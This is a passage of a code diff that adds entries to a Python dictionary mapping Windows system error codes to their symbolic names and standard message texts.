+        0x000000e9: ("ERROR_PIPE_NOT_CONNECTED", "No process is on the other end of the pipe."),
+        0x000000ea: ("ERROR_MORE_DATA", "More data is available."),
+        0x000000f0: ("ERROR_VC_DISCONNECTED", "The session was canceled."),
+        0x000000fe: ("ERROR_INVALID_EA_NAME", "The specified extended attribute name was invalid."),
+        0x000000ff: ("ERROR_EA_LIST_INCONSISTENT", "The extended attributes are inconsistent."),
+        0x00000102: ("WAIT_TIMEOUT", "The wait operation timed out."),
+        0x00000103: ("ERROR_NO_MORE_ITEMS", "No more data is available."),
+        0x0000010a: ("ERROR_CANNOT_COPY", "The copy functions cannot be used."),
+        0x0000010b: ("ERROR_DIRECTORY", "The directory name is invalid."),
+        0x00000113: ("ERROR_EAS_DIDNT_FIT", "The extended attributes did not fit in the buffer."),
+        0x00000114: ("ERROR_EA_FILE_CORRUPT", "The extended attribute file on the mounted file system is corrupt."),
+        0x00000115: ("ERROR_EA_TABLE_FULL", "The extended attribute table file is full."),
+        0x00000116: ("ERROR_INVALID_EA_HANDLE", "The specified extended attribute handle is invalid."),
+        0x0000011a: ("ERROR_EAS_NOT_SUPPORTED", "The mounted file system does not support extended attributes."),
+        0x00000120: ("ERROR_NOT_OWNER", "Attempt to release mutex not owned by caller."),
+        0x0000012a: ("ERROR_TOO_MANY_POSTS", "Too many posts were made to a semaphore."),
+        0x0000012b: ("ERROR_PARTIAL_COPY", "Only part of a ReadProcessMemory or WriteProcessMemory request was completed."),
+        0x0000012c: ("ERROR_OPLOCK_NOT_GRANTED", "The oplock request is denied."),
+        0x0000012d: ("ERROR_INVALID_OPLOCK_PROTOCOL", "An invalid oplock acknowledgment was received by the system."),
+        0x0000012e: ("ERROR_DISK_TOO_FRAGMENTED", "The volume is too fragmented to complete this operation."),
+        0x0000012f: ("ERROR_DELETE_PENDING", "The file cannot be opened because it is in the process of being deleted."),
+        0x00000130: ("ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING", "Short name settings may not be changed on this volume due to the global registry setting."),
+        0x00000131: ("ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME", "Short names are not enabled on this volume."),
+        0x00000132: ("ERROR_SECURITY_STREAM_IS_INCONSISTENT", "The security stream for the given volume is in an inconsistent state."),
+        0x00000133: ("ERROR_INVALID_LOCK_RANGE", "A requested file lock operation cannot be processed due to an invalid byte range."),
+        0x00000134: ("ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT", "The subsystem needed to support the image type is not present."),
+        0x00000135: ("ERROR_NOTIFICATION_GUID_ALREADY_DEFINED", "The specified file already has a notification GUID associated with it."),
+        0x00000136: ("ERROR_INVALID_EXCEPTION_HANDLER", "An invalid exception handler routine has been detected."),
+        0x00000137: ("ERROR_DUPLICATE_PRIVILEGES", "Duplicate privileges were specified for the token."),
+        0x00000138: ("ERROR_NO_RANGES_PROCESSED", "No ranges for the specified operation were able to be processed."),
+        0x00000139: ("ERROR_NOT_ALLOWED_ON_SYSTEM_FILE", "Operation is not allowed on a file system internal file."),
+        0x0000013a: ("ERROR_DISK_RESOURCES_EXHAUSTED", "The physical resources of this disk have been exhausted."),
+        0x0000013b: ("ERROR_INVALID_TOKEN", "The token representing the data is invalid."),
+        0x0000013c: ("ERROR_DEVICE_FEATURE_NOT_SUPPORTED", "The device does not support the command feature."),
+        0x0000013d: ("ERROR_MR_MID_NOT_FOUND", "The system cannot find message text for message number 0x%1 in the message file for %2."),
+        0x0000013e: ("ERROR_SCOPE_NOT_FOUND", "The scope specified was not found."),
+        0x0000013f: ("ERROR_UNDEFINED_SCOPE", "The Central Access Policy specified is not defined on the target machine."),
+        0x00000140: ("ERROR_INVALID_CAP", "The Central Access Policy obtained from Active Directory is invalid."),
+        0x00000141: ("ERROR_DEVICE_UNREACHABLE", "The device is unreachable."),
+        0x00000142: ("ERROR_DEVICE_NO_RESOURCES", "The target device has insufficient resources to complete the operation."),
+        0x00000143: ("ERROR_DATA_CHECKSUM_ERROR", "A data integrity checksum error occurred. Data in the file stream is corrupt."),
+        0x00000144: ("ERROR_INTERMIXED_KERNEL_EA_OPERATION", "An attempt was made to modify both a KERNEL and normal Extended Attribute (EA) in the same operation."),
+        0x00000146: ("ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED", "Device does not support file-level TRIM."),
+        0x00000147: ("ERROR_OFFSET_ALIGNMENT_VIOLATION", "The command specified a data offset that does not align to the device's granularity/alignment."),
+        0x00000148: ("ERROR_INVALID_FIELD_IN_PARAMETER_LIST", "The command specified an invalid field in its parameter list."),
+        0x00000149: ("ERROR_OPERATION_IN_PROGRESS", "An operation is currently in progress with the device."),
+        0x0000014a: ("ERROR_BAD_DEVICE_PATH", "An attempt was made to send down the command via an invalid path to the target device."),
+        0x0000014b: ("ERROR_TOO_MANY_DESCRIPTORS", "The command specified a number of descriptors that exceeded the maximum supported by the device."),
+        0x0000014c: ("ERROR_SCRUB_DATA_DISABLED", "Scrub is disabled on the specified file."),
+        0x0000014d: ("ERROR_NOT_REDUNDANT_STORAGE", "The storage device does not provide redundancy."),
+        0x0000014e: ("ERROR_RESIDENT_FILE_NOT_SUPPORTED", "An operation is not supported on a resident file."),
+        0x0000014f: ("ERROR_COMPRESSED_FILE_NOT_SUPPORTED", "An operation is not supported on a compressed file."),
+        0x00000150: ("ERROR_DIRECTORY_NOT_SUPPORTED", "An operation is not supported on a directory."),
+        0x00000151: ("ERROR_NOT_READ_FROM_COPY", "The specified copy of the requested data could not be read."),
+        0x00000152: ("ERROR_FT_WRITE_FAILURE", "The specified data could not be written to any of the copies."),
+        0x00000153: ("ERROR_FT_DI_SCAN_REQUIRED", "One or more copies of data on this device may be out of sync. No writes may be performed until a data integrity scan is completed."),
+        0x00000154: ("ERROR_INVALID_KERNEL_INFO_VERSION", "The supplied kernel information version is invalid."),
+        0x00000155: ("ERROR_INVALID_PEP_INFO_VERSION", "The supplied PEP information version is invalid."),
+        0x0000015e: ("ERROR_FAIL_NOACTION_REBOOT", "No action was taken as a system reboot is required."),
+        0x0000015f: ("ERROR_FAIL_SHUTDOWN", "The shutdown operation failed."),
+        0x00000160: ("ERROR_FAIL_RESTART", "The restart operation failed."),
+        0x00000161: ("ERROR_MAX_SESSIONS_REACHED", "The maximum number of sessions has been reached."),
+        0x00000190: ("ERROR_THREAD_MODE_ALREADY_BACKGROUND", "The thread is already in background processing mode."),
+        0x00000191: ("ERROR_THREAD_MODE_NOT_BACKGROUND", "The thread is not in background processing mode."),
+        0x00000192: ("ERROR_PROCESS_MODE_ALREADY_BACKGROUND", "The process is already in background processing mode."),
+        0x00000193: ("ERROR_PROCESS_MODE_NOT_BACKGROUND", "The process is not in background processing mode."),
+        0x000001e7: ("ERROR_INVALID_ADDRESS", "Attempt to access invalid address."),
+        0x000001f4: ("ERROR_USER_PROFILE_LOAD", "User profile cannot be loaded."),
+        0x00000216: ("ERROR_ARITHMETIC_OVERFLOW", "Arithmetic result exceeded 32 bits."),
+        0x00000217: ("ERROR_PIPE_CONNECTED", "There is a process on other end of the pipe."),
+        0x00000218: ("ERROR_PIPE_LISTENING", "Waiting for a process to open the other end of the pipe."),
+        0x00000219: ("ERROR_VERIFIER_STOP", "Application verifier has found an error in the current process."),
+        0x0000021a: ("ERROR_ABIOS_ERROR", "An error occurred in the ABIOS subsystem."),
+        0x0000021b: ("ERROR_WX86_WARNING", "A warning occurred in the WX86 subsystem."),
+        0x0000021c: ("ERROR_WX86_ERROR", "An error occurred in the WX86 subsystem."),
+        0x0000021d: ("ERROR_TIMER_NOT_CANCELED", "An attempt was made to cancel or set a timer that has an associated APC and the subject thread is not the thread that originally set the timer with an associated APC routine."),
+        0x0000021e: ("ERROR_UNWIND", "Unwind exception code."),
+        0x0000021f: ("ERROR_BAD_STACK", "An invalid or unaligned stack was encountered during an unwind operation."),
+        0x00000220: ("ERROR_INVALID_UNWIND_TARGET", "An invalid unwind target was encountered during an unwind operation."),
+        0x00000221: ("ERROR_INVALID_PORT_ATTRIBUTES", "Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort"),
+        0x00000222: ("ERROR_PORT_MESSAGE_TOO_LONG", "Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port."),
+        0x00000223: ("ERROR_INVALID_QUOTA_LOWER", "An attempt was made to lower a quota limit below the current usage."),
+        0x00000224: ("ERROR_DEVICE_ALREADY_ATTACHED", "An attempt was made to attach to a device that was already attached to another device."),
+        0x00000225: ("ERROR_INSTRUCTION_MISALIGNMENT", "An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references."),
+        0x00000226: ("ERROR_PROFILING_NOT_STARTED", "Profiling not started."),
+        0x00000227: ("ERROR_PROFILING_NOT_STOPPED", "Profiling not stopped."),
+        0x00000228: ("ERROR_COULD_NOT_INTERPRET", "The passed ACL did not contain the minimum required information."),
+        0x00000229: ("ERROR_PROFILING_AT_LIMIT", "The number of active profiling objects is at the maximum and no more may be started."),
+        0x0000022a: ("ERROR_CANT_WAIT", "Used to indicate that an operation cannot continue without blocking for I/O."),
+        0x0000022b: ("ERROR_CANT_TERMINATE_SELF", "Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process."),
+        0x0000022c: ("ERROR_UNEXPECTED_MM_CREATE_ERR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
+        0x0000022d: ("ERROR_UNEXPECTED_MM_MAP_ERROR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
+        0x0000022e: ("ERROR_UNEXPECTED_MM_EXTEND_ERR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
+        0x0000022f: ("ERROR_BAD_FUNCTION_TABLE", "A malformed function table was encountered during an unwind operation."),
+        0x00000230: ("ERROR_NO_GUID_TRANSLATION", "Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system."),
+        0x00000231: ("ERROR_INVALID_LDT_SIZE", "Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors."),
+        0x00000233: ("ERROR_INVALID_LDT_OFFSET", "Indicates that the starting value for the LDT information was not an integral multiple of the selector size."),
+        0x00000234: ("ERROR_INVALID_LDT_DESCRIPTOR", "Indicates that the user supplied an invalid descriptor when trying to set up Ldt descriptors."),
+        0x00000235: ("ERROR_TOO_MANY_THREADS", "Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads."),
+        0x00000236: ("ERROR_THREAD_NOT_IN_PROCESS", "An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified."),
+        0x00000237: ("ERROR_PAGEFILE_QUOTA_EXCEEDED", "Page file quota was exceeded."),
+        0x00000238: ("ERROR_LOGON_SERVER_CONFLICT", "The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role."),
+        0x00000239: ("ERROR_SYNCHRONIZATION_REQUIRED", "The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required."),
+        0x0000023a: ("ERROR_NET_OPEN_FAILED", "The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines."),
+        0x0000023b: ("ERROR_IO_PRIVILEGE_FAILED", "{Privilege Failed}"),
+        0x0000023c: ("ERROR_CONTROL_C_EXIT", "{Application Exit by CTRL+C}"),
+        0x0000023d: ("ERROR_MISSING_SYSTEMFILE", "{Missing System File}"),
+        0x0000023e: ("ERROR_UNHANDLED_EXCEPTION", "{Application Error}"),
+        0x0000023f: ("ERROR_APP_INIT_FAILURE", "{Application Error}"),
+        0x00000240: ("ERROR_PAGEFILE_CREATE_FAILED", "{Unable to Create Paging File}"),
+        0x00000241: ("ERROR_INVALID_IMAGE_HASH", "Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source."),
+        0x00000242: ("ERROR_NO_PAGEFILE", "{No Paging File Specified}"),
+        0x00000243: ("ERROR_ILLEGAL_FLOAT_CONTEXT", "{EXCEPTION}"),
+        0x00000244: ("ERROR_NO_EVENT_PAIR", "An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread."),
+        0x00000245: ("ERROR_DOMAIN_CTRLR_CONFIG_ERROR", "A Windows Server has an incorrect configuration."),
+        0x00000246: ("ERROR_ILLEGAL_CHARACTER", "An illegal character was encountered. For a multi-byte character set this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE."),
+        0x00000247: ("ERROR_UNDEFINED_CHARACTER", "The Unicode character is not defined in the Unicode character set installed on the system."),
+        0x00000248: ("ERROR_FLOPPY_VOLUME", "The paging file cannot be created on a floppy diskette."),
+        0x00000249: ("ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT", "The system BIOS failed to connect a system interrupt to the device or bus for which the device is connected."),
+        0x0000024a: ("ERROR_BACKUP_CONTROLLER", "This operation is only allowed for the Primary Domain Controller of the domain."),
+        0x0000024b: ("ERROR_MUTANT_LIMIT_EXCEEDED", "An attempt was made to acquire a mutant such that its maximum count would have been exceeded."),
+        0x0000024c: ("ERROR_FS_DRIVER_REQUIRED", "A volume has been accessed for which a file system driver is required that has not yet been loaded."),
+        0x0000024d: ("ERROR_CANNOT_LOAD_REGISTRY_FILE", "{Registry File Failure}"),
+        0x0000024e: ("ERROR_DEBUG_ATTACH_FAILED", "{Unexpected Failure in DebugActiveProcess}"),
+        0x0000024f: ("ERROR_SYSTEM_PROCESS_TERMINATED", "{Fatal System Error}"),
+        0x00000250: ("ERROR_DATA_NOT_ACCEPTED", "{Data Not Accepted}"),
+        0x00000251: ("ERROR_VDM_HARD_ERROR", "NTVDM encountered a hard error."),
+        0x00000252: ("ERROR_DRIVER_CANCEL_TIMEOUT", "{Cancel Timeout}"),
+        0x00000253: ("ERROR_REPLY_MESSAGE_MISMATCH", "{Reply Message Mismatch}"),
+        0x00000254: ("ERROR_LOST_WRITEBEHIND_DATA", "{Delayed Write Failed}"),
+        0x00000255: ("ERROR_CLIENT_SERVER_PARAMETERS_INVALID", "The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window."),
+        0x00000256: ("ERROR_NOT_TINY_STREAM", "The stream is not a tiny stream."),
+        0x00000257: ("ERROR_STACK_OVERFLOW_READ", "The request must be handled by the stack overflow code."),
+        0x00000258: ("ERROR_CONVERT_TO_LARGE", "Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream."),
+        0x00000259: ("ERROR_FOUND_OUT_OF_SCOPE", "The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation."),
+        0x0000025a: ("ERROR_ALLOCATE_BUCKET", "The bucket array must be grown. Retry transaction after doing so."),
+        0x0000025b: ("ERROR_MARSHALL_OVERFLOW", "The user/kernel marshalling buffer has overflowed."),
+        0x0000025c: ("ERROR_INVALID_VARIANT", "The supplied variant structure contains invalid data."),
+        0x0000025d: ("ERROR_BAD_COMPRESSION_BUFFER", "The specified buffer contains ill-formed data."),
+        0x0000025e: ("ERROR_AUDIT_FAILED", "{Audit Failed}"),
+        0x0000025f: ("ERROR_TIMER_RESOLUTION_NOT_SET", "The timer resolution was not previously set by the current process."),
+        0x00000260: ("ERROR_INSUFFICIENT_LOGON_INFO", "There is insufficient account information to log you on."),
+        0x00000261: ("ERROR_BAD_DLL_ENTRYPOINT", "{Invalid DLL Entrypoint}"),
+        0x00000262: ("ERROR_BAD_SERVICE_ENTRYPOINT", "{Invalid Service Callback Entrypoint}"),
+        0x00000263: ("ERROR_IP_ADDRESS_CONFLICT1", "There is an IP address conflict with another system on the network"),
+        0x00000264: ("ERROR_IP_ADDRESS_CONFLICT2", "There is an IP address conflict with another system on the network"),
+        0x00000265: ("ERROR_REGISTRY_QUOTA_LIMIT", "{Low On Registry Space}"),
+        0x00000266: ("ERROR_NO_CALLBACK_ACTIVE", "A callback return system service cannot be executed when no callback is active."),
+        0x00000267: ("ERROR_PWD_TOO_SHORT", "The password provided is too short to meet the policy of your user account."),
+        0x00000268: ("ERROR_PWD_TOO_RECENT", "The policy of your user account does not allow you to change passwords too frequently."),
+        0x00000269: ("ERROR_PWD_HISTORY_CONFLICT", "You have attempted to change your password to one that you have used in the past."),
+        0x0000026a: ("ERROR_UNSUPPORTED_COMPRESSION", "The specified compression format is unsupported."),
+        0x0000026b: ("ERROR_INVALID_HW_PROFILE", "The specified hardware profile configuration is invalid."),
+        0x0000026c: ("ERROR_INVALID_PLUGPLAY_DEVICE_PATH", "The specified Plug and Play registry device path is invalid."),
+        0x0000026d: ("ERROR_QUOTA_LIST_INCONSISTENT", "The specified quota list is internally inconsistent with its descriptor."),
+        0x0000026e: ("ERROR_EVALUATION_EXPIRATION", "{Windows Evaluation Notification}"),
+        0x0000026f: ("ERROR_ILLEGAL_DLL_RELOCATION", "{Illegal System DLL Relocation}"),
+        0x00000270: ("ERROR_DLL_INIT_FAILED_LOGOFF", "{DLL Initialization Failed}"),
+        0x00000271: ("ERROR_VALIDATE_CONTINUE", "The validation process needs to continue on to the next step."),
+        0x00000272: ("ERROR_NO_MORE_MATCHES", "There are no more matches for the current index enumeration."),
+        0x00000273: ("ERROR_RANGE_LIST_CONFLICT", "The range could not be added to the range list because of a conflict."),
+        0x00000274: ("ERROR_SERVER_SID_MISMATCH", "The server process is running under a SID different than that required by client."),
+        0x00000275: ("ERROR_CANT_ENABLE_DENY_ONLY", "A group marked use for deny only cannot be enabled."),
+        0x00000276: ("ERROR_FLOAT_MULTIPLE_FAULTS", "{EXCEPTION}"),
+        0x00000277: ("ERROR_FLOAT_MULTIPLE_TRAPS", "{EXCEPTION}"),
+        0x00000278: ("ERROR_NOINTERFACE", "The requested interface is not supported."),
+        0x00000279: ("ERROR_DRIVER_FAILED_SLEEP", "{System Standby Failed}"),
+        0x0000027a: ("ERROR_CORRUPT_SYSTEM_FILE", "The system file %1 has become corrupt and has been replaced."),
+        0x0000027b: ("ERROR_COMMITMENT_MINIMUM", "{Virtual Memory Minimum Too Low}"),
+        0x0000027c: ("ERROR_PNP_RESTART_ENUMERATION", "A device was removed so enumeration must be restarted."),
+        0x0000027d: ("ERROR_SYSTEM_IMAGE_BAD_SIGNATURE", "{Fatal System Error}"),
+        0x0000027e: ("ERROR_PNP_REBOOT_REQUIRED", "Device will not start without a reboot."),
+        0x0000027f: ("ERROR_INSUFFICIENT_POWER", "There is not enough power to complete the requested operation."),
+        0x00000280: ("ERROR_MULTIPLE_FAULT_VIOLATION", " ERROR_MULTIPLE_FAULT_VIOLATION"),
+        0x00000281: ("ERROR_SYSTEM_SHUTDOWN", "The system is in the process of shutting down."),
+        0x00000282: ("ERROR_PORT_NOT_SET", "An attempt to remove a processes DebugPort was made, but a port was not already associated with the process."),
+        0x00000283: ("ERROR_DS_VERSION_CHECK_FAILURE", "This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller."),
+        0x00000284: ("ERROR_RANGE_NOT_FOUND", "The specified range could not be found in the range list."),
+        0x00000286: ("ERROR_NOT_SAFE_MODE_DRIVER", "The driver was not loaded because the system is booting into safe mode."),
+        0x00000287: ("ERROR_FAILED_DRIVER_ENTRY", "The driver was not loaded because it failed its initialization call."),
+        0x00000288: ("ERROR_DEVICE_ENUMERATION_ERROR", "The '%hs' encountered an error while applying power or reading the device configuration."),
+        0x00000289: ("ERROR_MOUNT_POINT_NOT_RESOLVED", "The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached."),
+        0x0000028a: ("ERROR_INVALID_DEVICE_OBJECT_PARAMETER", "The device object parameter is either not a valid device object or is not attached to the volume specified by the file name."),
+        0x0000028b: ("ERROR_MCA_OCCURED", "A Machine Check Error has occurred. Please check the system eventlog for additional information."),
+        0x0000028c: ("ERROR_DRIVER_DATABASE_ERROR", "There was error [%2] processing the driver database."),
+        0x0000028d: ("ERROR_SYSTEM_HIVE_TOO_LARGE", "System hive size has exceeded its limit."),
+        0x0000028e: ("ERROR_DRIVER_FAILED_PRIOR_UNLOAD", "The driver could not be loaded because a previous version of the driver is still in memory."),
+        0x0000028f: ("ERROR_VOLSNAP_PREPARE_HIBERNATE", "{Volume Shadow Copy Service}"),
+        0x00000290: ("ERROR_HIBERNATION_FAILURE", "The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted."),
+        0x00000291: ("ERROR_PWD_TOO_LONG", "The password provided is too long to meet the policy of your user account."),
+        0x00000299: ("ERROR_FILE_SYSTEM_LIMITATION", "The requested operation could not be completed due to a file system limitation"),
+        0x0000029c: ("ERROR_ASSERTION_FAILURE", "An assertion failure has occurred."),
+        0x0000029d: ("ERROR_ACPI_ERROR", "An error occurred in the ACPI subsystem."),
+        0x0000029e: ("ERROR_WOW_ASSERTION", "WOW Assertion Error."),
+        0x0000029f: ("ERROR_PNP_BAD_MPS_TABLE", "A device is missing in the system BIOS MPS table. This device will not be used."),
+        0x000002a0: ("ERROR_PNP_TRANSLATION_FAILED", "A translator failed to translate resources."),
+        0x000002a1: ("ERROR_PNP_IRQ_TRANSLATION_FAILED", "A IRQ translator failed to translate resources."),
+        0x000002a2: ("ERROR_PNP_INVALID_ID", "Driver %2 returned invalid ID for a child device (%3)."),
+        0x000002a3: ("ERROR_WAKE_SYSTEM_DEBUGGER", "{Kernel Debugger Awakened}"),
+        0x000002a4: ("ERROR_HANDLES_CLOSED", "{Handles Closed}"),
+        0x000002a5: ("ERROR_EXTRANEOUS_INFORMATION", "{Too Much Information}"),
+        0x000002a6: ("ERROR_RXACT_COMMIT_NECESSARY", "This warning level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted."),
+        0x000002a7: ("ERROR_MEDIA_CHECK", "{Media Changed}"),
+        0x000002a8: ("ERROR_GUID_SUBSTITUTION_MADE", "{GUID Substitution}"),
+        0x000002a9: ("ERROR_STOPPED_ON_SYMLINK", "The create operation stopped after reaching a symbolic link"),
+        0x000002aa: ("ERROR_LONGJUMP", "A long jump has been executed."),
+        0x000002ab: ("ERROR_PLUGPLAY_QUERY_VETOED", "The Plug and Play query operation was not successful."),
+        0x000002ac: ("ERROR_UNWIND_CONSOLIDATE", "A frame consolidation has been executed."),
+        0x000002ad: ("ERROR_REGISTRY_HIVE_RECOVERED", "{Registry Hive Recovered}"),
+        0x000002ae: ("ERROR_DLL_MIGHT_BE_INSECURE", "The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?"),
+        0x000002af: ("ERROR_DLL_MIGHT_BE_INCOMPATIBLE", "The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?"),
+        0x000002b0: ("ERROR_DBG_EXCEPTION_NOT_HANDLED", "Debugger did not handle the exception."),
+        0x000002b1: ("ERROR_DBG_REPLY_LATER", "Debugger will reply later."),
+        0x000002b2: ("ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE", "Debugger cannot provide handle."),
+        0x000002b3: ("ERROR_DBG_TERMINATE_THREAD", "Debugger terminated thread."),
+        0x000002b4: ("ERROR_DBG_TERMINATE_PROCESS", "Debugger terminated process."),
+        0x000002b5: ("ERROR_DBG_CONTROL_C", "Debugger got control C."),
+        0x000002b6: ("ERROR_DBG_PRINTEXCEPTION_C", "Debugger printed exception on control C."),
+        0x000002b7: ("ERROR_DBG_RIPEXCEPTION", "Debugger received RIP exception."),
+        0x000002b8: ("ERROR_DBG_CONTROL_BREAK", "Debugger received control break."),
+        0x000002b9: ("ERROR_DBG_COMMAND_EXCEPTION", "Debugger command communication exception."),
+        0x000002ba: ("ERROR_OBJECT_NAME_EXISTS", "{Object Exists}"),
+        0x000002bb: ("ERROR_THREAD_WAS_SUSPENDED", "{Thread Suspended}"),
+        0x000002bc: ("ERROR_IMAGE_NOT_AT_BASE", "{Image Relocated}"),
+        0x000002bd: ("ERROR_RXACT_STATE_CREATED", "This informational level status indicates that a specified registry sub-tree transaction state did not yet exist and had to be created."),
+        0x000002be: ("ERROR_SEGMENT_NOTIFICATION", "{Segment Load}"),
+        0x000002bf: ("ERROR_BAD_CURRENT_DIRECTORY", "{Invalid Current Directory}"),
+        0x000002c0: ("ERROR_FT_READ_RECOVERY_FROM_BACKUP", "{Redundant Read}"),
+        0x000002c1: ("ERROR_FT_WRITE_RECOVERY", "{Redundant Write}"),
+        0x000002c2: ("ERROR_IMAGE_MACHINE_TYPE_MISMATCH", "{Machine Type Mismatch}"),
+        0x000002c3: ("ERROR_RECEIVE_PARTIAL", "{Partial Data Received}"),
+        0x000002c4: ("ERROR_RECEIVE_EXPEDITED", "{Expedited Data Received}"),
+        0x000002c5: ("ERROR_RECEIVE_PARTIAL_EXPEDITED", "{Partial Expedited Data Received}"),
+        0x000002c6: ("ERROR_EVENT_DONE", "{TDI Event Done}"),
+        0x000002c7: ("ERROR_EVENT_PENDING", "{TDI Event Pending}"),
+        0x000002c8: ("ERROR_CHECKING_FILE_SYSTEM", "Checking file system on %wZ"),
+        0x000002c9: ("ERROR_FATAL_APP_EXIT", "{Fatal Application Exit}"),
+        0x000002ca: ("ERROR_PREDEFINED_HANDLE", "The specified registry key is referenced by a predefined handle."),
+        0x000002cb: ("ERROR_WAS_UNLOCKED", "{Page Unlocked}"),
+        0x000002cc: ("ERROR_SERVICE_NOTIFICATION", "%hs"),
+        0x000002cd: ("ERROR_WAS_LOCKED", "{Page Locked}"),
+        0x000002ce: ("ERROR_LOG_HARD_ERROR", "Application popup: %1 : %2"),
+        0x000002cf: ("ERROR_ALREADY_WIN32", " ERROR_ALREADY_WIN32"),
+        0x000002d0: ("ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE", "{Machine Type Mismatch}"),
+        0x000002d1: ("ERROR_NO_YIELD_PERFORMED", "A yield execution was performed and no thread was available to run."),
+        0x000002d2: ("ERROR_TIMER_RESUME_IGNORED", "The resumable flag to a timer API was ignored."),
+        0x000002d3: ("ERROR_ARBITRATION_UNHANDLED", "The arbiter has deferred arbitration of these resources to its parent"),
+        0x000002d4: ("ERROR_CARDBUS_NOT_SUPPORTED", "The inserted CardBus device cannot be started because of a configuration error on '%hs'."),
+        0x000002d5: ("ERROR_MP_PROCESSOR_MISMATCH", "The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported."),
+        0x000002d6: ("ERROR_HIBERNATED", "The system was put into hibernation."),
+        0x000002d7: ("ERROR_RESUME_HIBERNATION", "The system was resumed from hibernation."),
+        0x000002d8: ("ERROR_FIRMWARE_UPDATED", "Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3]."),
+        0x000002d9: ("ERROR_DRIVERS_LEAKING_LOCKED_PAGES", "A device driver is leaking locked I/O pages causing system degradation. The system has automatically enabled tracking code in order to try and catch the culprit."),
+        0x000002da: ("ERROR_WAKE_SYSTEM", "The system has awoken"),
+        0x000002db: ("ERROR_WAIT_1", " ERROR_WAIT_1"),
+        0x000002dc: ("ERROR_WAIT_2", " ERROR_WAIT_2"),
+        0x000002dd: ("ERROR_WAIT_3", " ERROR_WAIT_3"),
+        0x000002de: ("ERROR_WAIT_63", " ERROR_WAIT_63"),
+        0x000002df: ("ERROR_ABANDONED_WAIT_0", " ERROR_ABANDONED_WAIT_0"),
+        0x000002e0: ("ERROR_ABANDONED_WAIT_63", " ERROR_ABANDONED_WAIT_63"),
+        0x000002e1: ("ERROR_USER_APC", " ERROR_USER_APC"),
+        0x000002e2: ("ERROR_KERNEL_APC", " ERROR_KERNEL_APC"),
+        0x000002e3: ("ERROR_ALERTED", " ERROR_ALERTED"),
+        0x000002e4: ("ERROR_ELEVATION_REQUIRED", "The requested operation requires elevation."),
+        0x000002e5: ("ERROR_REPARSE", "A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link."),
+        0x000002e6: ("ERROR_OPLOCK_BREAK_IN_PROGRESS", "An open/create operation completed while an oplock break is underway."),
+        0x000002e7: ("ERROR_VOLUME_MOUNTED", "A new volume has been mounted by a file system."),
+        0x000002e8: ("ERROR_RXACT_COMMITTED", "This success level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted."),
+        0x000002e9: ("ERROR_NOTIFY_CLEANUP", "This indicates that a notify change request has been completed due to closing the handle which made the notify change request."),
+        0x000002ea: ("ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED", "{Connect Failure on Primary Transport}"),
+        0x000002eb: ("ERROR_PAGE_FAULT_TRANSITION", "Page fault was a transition fault."),
+        0x000002ec: ("ERROR_PAGE_FAULT_DEMAND_ZERO", "Page fault was a demand zero fault."),
+        0x000002ed: ("ERROR_PAGE_FAULT_COPY_ON_WRITE", "Page fault was a demand zero fault."),
+        0x000002ee: ("ERROR_PAGE_FAULT_GUARD_PAGE", "Page fault was a demand zero fault."),
+        0x000002ef: ("ERROR_PAGE_FAULT_PAGING_FILE", "Page fault was satisfied by reading from a secondary storage device."),
+        0x000002f0: ("ERROR_CACHE_PAGE_LOCKED", "Cached page was locked during operation."),
+        0x000002f1: ("ERROR_CRASH_DUMP", "Crash dump exists in paging file."),
+        0x000002f2: ("ERROR_BUFFER_ALL_ZEROS", "Specified buffer contains all zeros."),
+        0x000002f3: ("ERROR_REPARSE_OBJECT", "A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link."),
